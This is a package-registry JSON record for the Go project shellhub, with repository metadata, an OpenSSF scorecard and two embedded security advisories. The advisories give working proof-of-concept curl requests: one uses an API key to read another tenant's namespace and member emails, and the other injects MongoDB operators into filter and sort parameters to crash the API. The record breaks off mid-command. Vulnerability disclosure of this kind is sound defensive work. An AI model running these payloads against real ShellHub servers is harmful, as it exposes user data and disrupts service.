{"id":3622322,"name":"github.com/shellhub-io/shellhub","ecosystem":"go","description":"","homepage":"https://github.com/shellhub-io/shellhub","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/shellhub-io/shellhub","keywords_array":[],"namespace":"github.com/shellhub-io","versions_count":343,"first_release_published_at":"2020-01-30T18:51:00.000Z","latest_release_published_at":"2026-06-10T14:55:15.000Z","latest_release_number":"v0.25.1","last_synced_at":"2026-06-24T01:12:36.754Z","created_at":"2022-04-11T08:00:18.305Z","updated_at":"2026-06-24T01:13:45.345Z","registry_url":"https://pkg.go.dev/github.com/shellhub-io/shellhub","install_command":"go get github.com/shellhub-io/shellhub","documentation_url":"https://pkg.go.dev/github.com/shellhub-io/shellhub#section-documentation","metadata":{},"repo_metadata":{"id":37934204,"uuid":"187078631","full_name":"shellhub-io/shellhub","owner":"shellhub-io","description":":computer: Get seamless remote access to any Linux device. Centralized SSH for the edge and cloud computing","archived":false,"fork":false,"pushed_at":"2025-10-21T15:07:47.000Z","size":81201,"stargazers_count":1789,"open_issues_count":19,"forks_count":167,"subscribers_count":28,"default_branch":"master","last_synced_at":"2025-10-21T17:22:37.076Z","etag":null,"topics":["cloud-computing","embedded","golang","hacktoberfest","iot","linux","raspberry-pi","shellhub","ssh","ssh-tunnel"],"latest_commit_sha":null,"homepage":"https://shellhub.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/shellhub-io.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["shellhub-io"]}},"created_at":"2019-05-16T18:10:35.000Z","updated_at":"2025-10-21T13:12:14.000Z","dependencies_parsed_at":"2022-07-14T05:40:26.997Z","dependency_job_id":"2413de94-f390-43ac-9a53-d17cd0b942f5","html_url":"https://github.com/shellhub-io/shellhub","commit_stats":{"total_commits":4749,"total_committers":52,"mean_commits":91.32692307692308,"dds":0.6820383238576542,"last_synced_commit":"468c433cfd503b5459950f5f04ce8aeaf062997c"},"previous_names":["gustavosbarreto/devicehub"],"tags_count":334,"template":false,"template_full_name":null,"purl":"pkg:github/shellhub-io/shellhub","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shellhub-io%2Fshellhub","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shellhub-io%2Fshellhub/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shellhub-io%2Fshellhub/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shellhub-io%2Fshellhub/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/shellhub-io","download_url":"https://codeload.github.com/shellhub-io/shellhub/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/shellhub-io%2Fshellhub/sbom","scorecard":{"id":450155,"data":{"date":"2025-08-11","repo":{"name":"github.com/shellhub-io/shellhub","commit":"a6244217b8cafe3083b8178ce53507ecc0b25ee6"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.7,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 5 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":7,"reason":"Found 12/16 approved changesets -- score normalized to 7","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/build-agent.yml:1","Warn: no topLevel permission defined: .github/workflows/commit.yml:1","Warn: no topLevel permission defined: .github/workflows/dependabot_pr.yml:1","Warn: no topLevel permission defined: .github/workflows/docker-build.yml:1","Warn: no topLevel permission defined: .github/workflows/docker-publish.yml:1","Warn: no topLevel permission defined: .github/workflows/qa.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.md:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.md:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: GoBuiltInFuzzer integration found: pkg/agent/pkg/yescrypt/yescrypt_test.go:12","Info: GoBuiltInFuzzer integration found: pkg/api/client/client_test.go:119"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v0.20.0 not signed: https://api.github.com/repos/shellhub-io/shellhub/releases/238668461","Warn: release artifact v0.19.2 not signed: https://api.github.com/repos/shellhub-io/shellhub/releases/229556923","Warn: release artifact v0.19.1 not signed: https://api.github.com/repos/shellhub-io/shellhub/releases/223728738","Warn: release artifact v0.19.0 not signed: https://api.github.com/repos/shellhub-io/shellhub/releases/221904912","Warn: release artifact v0.18.3 not signed: https://api.github.com/repos/shellhub-io/shellhub/releases/200100571","Warn: release artifact v0.20.0 does not have provenance: https://api.github.com/repos/shellhub-io/shellhub/releases/238668461","Warn: release artifact v0.19.2 does not have provenance: https://api.github.com/repos/shellhub-io/shellhub/releases/229556923","Warn: release artifact v0.19.1 does not have provenance: https://api.github.com/repos/shellhub-io/shellhub/releases/223728738","Warn: release artifact v0.19.0 does not have provenance: https://api.github.com/repos/shellhub-io/shellhub/releases/221904912","Warn: release artifact v0.18.3 does not have provenance: https://api.github.com/repos/shellhub-io/shellhub/releases/200100571"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/build-agent.yml:87"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Pinned-Dependencies","score":2,"reason":"dependency not pinned by hash detected -- score normalized to 2","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:172: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:176: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:180: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:184: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:188: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:192: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build-agent.yml:196: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build-agent.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build-agent.yml:51: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-agent.yml:82: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/build-agent.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/commit.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/commit.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/commit.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/commit.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/commit.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/commit.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/commit.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/commit.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/commit.yml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/commit.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/commit.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/commit.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dependabot_pr.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/dependabot_pr.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dependabot_pr.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/dependabot_pr.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/dependabot_pr.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/dependabot_pr.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker-build.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/docker-build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker-build.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/docker-build.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker-build.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/docker-build.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker-publish.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/docker-publish.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker-publish.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/docker-publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/qa.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/qa.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/qa.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/qa.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/qa.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/qa.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/qa.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/qa.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/qa.yml:99: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/qa.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/qa.yml:120: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/qa.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/qa.yml:126: update your workflow using https://app.stepsecurity.io/secureworkflow/shellhub-io/shellhub/qa.yml/master?enable=pin","Warn: containerImage not pinned by hash: agent/Dockerfile:2","Warn: containerImage not pinned by hash: agent/Dockerfile:19","Warn: containerImage not pinned by hash: agent/Dockerfile:39","Warn: containerImage not pinned by hash: agent/Dockerfile.amd64:1","Warn: containerImage not pinned by hash: agent/Dockerfile.arm32v6:3: pin your Docker image by updating arm32v6/golang:1.23-alpine3.19 to arm32v6/golang:1.23-alpine3.19@sha256:120236a9134fbff68144e64e4c5a50f22949bbe1f73df1bee6dba2e7e6143a72","Warn: containerImage not pinned by hash: agent/Dockerfile.arm32v7:3: pin your Docker image by updating arm32v7/golang:1.23-alpine3.19 to arm32v7/golang:1.23-alpine3.19@sha256:ded8981d95b7b67b9c43d9224aabecee8e50e5649e66a0853a4502a8ced011bd","Warn: containerImage not pinned by hash: agent/Dockerfile.arm64v8:3: pin your Docker image by updating arm64v8/golang:1.23-alpine3.19 to arm64v8/golang:1.23-alpine3.19@sha256:95c140561602b347c5b2009094c4790e21bf42778d0581013982cd0c132bc723","Warn: containerImage not pinned by hash: agent/Dockerfile.i386:1: pin your Docker image by updating golang:1.23-alpine3.19 to golang:1.23-alpine3.19@sha256:5f3336882ad15d10ac1b59fbaba7cb84c35d4623774198b36ae60edeba45fd84","Warn: containerImage not pinned by hash: agent/Dockerfile.test:1: pin your Docker image by updating golang:1.23-alpine3.19 to golang:1.23-alpine3.19@sha256:5f3336882ad15d10ac1b59fbaba7cb84c35d4623774198b36ae60edeba45fd84","Warn: containerImage not pinned by hash: api/Dockerfile:2","Warn: containerImage not pinned by hash: api/Dockerfile:21","Warn: containerImage not pinned by hash: api/Dockerfile:37","Warn: containerImage not pinned by hash: api/Dockerfile:63","Warn: containerImage not pinned by hash: cli/Dockerfile:2","Warn: containerImage not pinned by hash: cli/Dockerfile:18","Warn: containerImage not pinned by hash: cli/Dockerfile:33","Warn: containerImage not pinned by hash: cli/Dockerfile:52","Warn: containerImage not pinned by hash: cli/Dockerfile.test:2","Warn: containerImage not pinned by hash: gateway/Dockerfile:2","Warn: containerImage not pinned by hash: gateway/Dockerfile:19","Warn: containerImage not pinned by hash: gateway/Dockerfile:33","Warn: containerImage not pinned by hash: gateway/Dockerfile:59","Warn: containerImage not pinned by hash: ssh/Dockerfile:2","Warn: containerImage not pinned by hash: ssh/Dockerfile:21","Warn: containerImage not pinned by hash: ssh/Dockerfile:37","Warn: containerImage not pinned by hash: ssh/Dockerfile:59","Warn: containerImage not pinned by hash: ui/Dockerfile:1","Warn: containerImage not pinned by hash: ui/Dockerfile:13","Warn: containerImage not pinned by hash: ui/Dockerfile:26","Warn: containerImage not pinned by hash: ui/Dockerfile:38","Warn: npmCommand not pinned by hash: ui/Dockerfile:11","Warn: npmCommand not pinned by hash: .github/workflows/qa.yml:135","Info:   0 out of  19 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  16 third-party GitHubAction dependencies pinned","Info:   0 out of  30 containerImage dependencies pinned","Info:  17 out of  17 goCommand dependencies pinned","Info:   0 out of   2 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Vulnerabilities","score":0,"reason":"10 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GO-2025-3487 / GHSA-hcg3-q754-cr77","Warn: Project is vulnerable to: GO-2025-3503 / GHSA-qxp5-gwg8-xv66","Warn: Project is vulnerable to: GO-2025-3595 / GHSA-vvgc-356p-c3xw","Warn: Project is vulnerable to: GO-2025-3540","Warn: Project is vulnerable to: GO-2025-3553 / GHSA-mh63-6h87-95cp","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-67mh-4wv8-2f99","Warn: Project is vulnerable to: GHSA-xf5p-87ch-gxw2","Warn: Project is vulnerable to: GHSA-5v2h-r2cx-5xgj","Warn: Project is vulnerable to: GHSA-rrrm-qjm4-v8hf"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-19T07:59:58.245Z","repository_id":37934204,"created_at":"2025-08-19T07:59:58.245Z","updated_at":"2025-08-19T07:59:58.245Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":280672077,"owners_count":26371128,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-23T02:00:06.710Z","response_time":142,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-29T02:43:49.682Z","dependent_packages_count":2,"downloads":null,"downloads_period":null,"dependent_repos_count":4,"rankings":{"downloads":null,"dependent_repos_count":2.5070018512016854,"dependent_packages_count":4.177264176725574,"stargazers_count":2.0062943348992768,"forks_count":2.574122725649665,"docker_downloads_count":null,"average":2.81617077211905},"purl":"pkg:golang/github.com/shellhub-io/shellhub","advisories":[{"uuid":"GSA_kwCzR0hTQS12d3g5LTdxY2YtZ2c3Zs4ABWX0","url":"https://github.com/advisories/GHSA-vwx9-7qcf-gg7f","title":"ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses  membership check","description":"## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil:\n\n  ```go\n  var uid string\n  if c.ID() != nil {\n      uid = c.ID().ID\n  }\n\n  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n  if err != nil || ns == nil {\n      return c.NoContent(http.StatusNotFound)\n  }\n\n  if uid != \"\" {                              // ⚠️ skipped when API Key is used\n      if _, ok := ns.FindMember(uid); !ok {\n          return c.NoContent(http.StatusForbidden)\n      }\n  }\n\n  return c.JSON(http.StatusOK, ns)\n  ```\n\n  `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n  and `X-API-KEY` for API Key authentication — never `X-ID`. So\n  `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n  the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  # Attacker authenticates in their own namespace and mints an API Key\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"attacker\",\"password\":\"...\"}' | jq -r .token)\n\n  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"poc\",\"expires_at\":30}' | jq -r .id)\n\n  # Baseline: same request with JWT is correctly blocked\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Observed: HTTP 403 (correct)\n\n  # Exploit: same request with API Key returns full namespace\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"X-API-Key: $ATTACKER_KEY\"\n  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n  #                      settings, max_devices, devices_accepted_count, type, created_at}\n  ```\n\n## Impact\n  - Enumeration of any ShellHub namespace by tenant UUID.\n  - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.\n  - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n  1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n     ```go\n     // nsadm.go GetNamespace\n     if c.Tenant() != nil \u0026\u0026 c.Tenant().ID != req.Tenant {\n         return c.NoContent(http.StatusForbidden)\n     }\n     ```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-07T03:02:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f","https://nvd.nist.gov/vuln/detail/CVE-2026-44426","https://github.com/advisories/GHSA-vwx9-7qcf-gg7f"],"source_kind":"github","identifiers":["GHSA-vwx9-7qcf-gg7f","CVE-2026-44426"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T04:00:08.162Z","updated_at":"2026-06-22T18:01:07.379Z","epss_percentage":0.00308,"epss_percentile":0.22222,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d3g5LTdxY2YtZ2c3Zs4ABWX0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12d3g5LTdxY2YtZ2c3Zs4ABWX0","packages":[{"ecosystem":"go","package_name":"github.com/shellhub-io/shellhub","versions":[{"first_patched_version":"0.24.2","vulnerable_version_range":"\u003c= 0.24.1"}],"purl":"pkg:go/github.com%2Fshellhub-io%2Fshellhub"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d3g5LTdxY2YtZ2c3Zs4ABWX0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00N3IyLXYzeDYtd2ZmOc4ABWWz","url":"https://github.com/advisories/GHSA-47r2-v3x6-wff9","title":"ShellHub has crash-DoS via field injection in filter and sort-by parameters","description":"## Summary\nThe device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:\n\n  1. The `name` field of each filter property in the base64-encoded `filter`\n     query parameter.\n  2. The `sort_by` query parameter.\n\nAny authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.\n\n## Severity\n**CVSS 3.1: 6.5 (Medium)** \nCWE-20 (Improper Input Validation) \nCWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\n## Affected versions\nShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).\n\n## Root cause\n\n### Vector 1 — Filter field name\n  `api/store/mongo/query-options.go:140`:\n\n  ```go\n  conditions = append(conditions, bson.M{param.Name: property})\n  ```\n\n`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be  injected.\n\n### Vector 2 — Sort-by field\nSimilar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{\"$sort\": {sortBy: order}}` without validation.\n\n### Additional observation\n`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.\n\n  ```go\n  func fromContains(value interface{}) (bson.M, error) {\n      switch value.(type) {\n      case string:\n          return bson.M{\"$regex\": value, \"$options\": \"i\"}, nil\n  ```\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  TOKEN=\u003cvalid-user-jwt\u003e\n\n  # Helper: base64-encode a filter payload\n  encode_filter() {\n    python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' \"$1\"\n  }\n\n  # --- Vector 1: filter field injection ---\n\n  # Baseline: legitimate filter -\u003e 200\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"name\",\"operator\":\"contains\",\"value\":\"anything\"}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 1a: Mongo operator as field name\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"$where\",\"operator\":\"contains\",\"value\":\"x\"}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1b: nested object as value\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"status\",\"operator\":\"eq\",\"value\":{\"$ne\":\"accepted\"}}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # Exploit 1c: pipeline-computed field as filter name\n  F=$(encode_filter '[{\"type\":\"property\",\"params\":{\"name\":\"namespace\",\"operator\":\"contains\",\"value\":\".\"}}]')\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=500\n\n  # --- Vector 2: sort-by injection ---\n\n  # Baseline: legitimate sort -\u003e 200\n  curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=name\" \\\n    -H \"Authorization: Bearer $TOKEN\"\n  # HTTP=200\n\n  # Exploit 2a: Mongo operator as sort field\n  curl 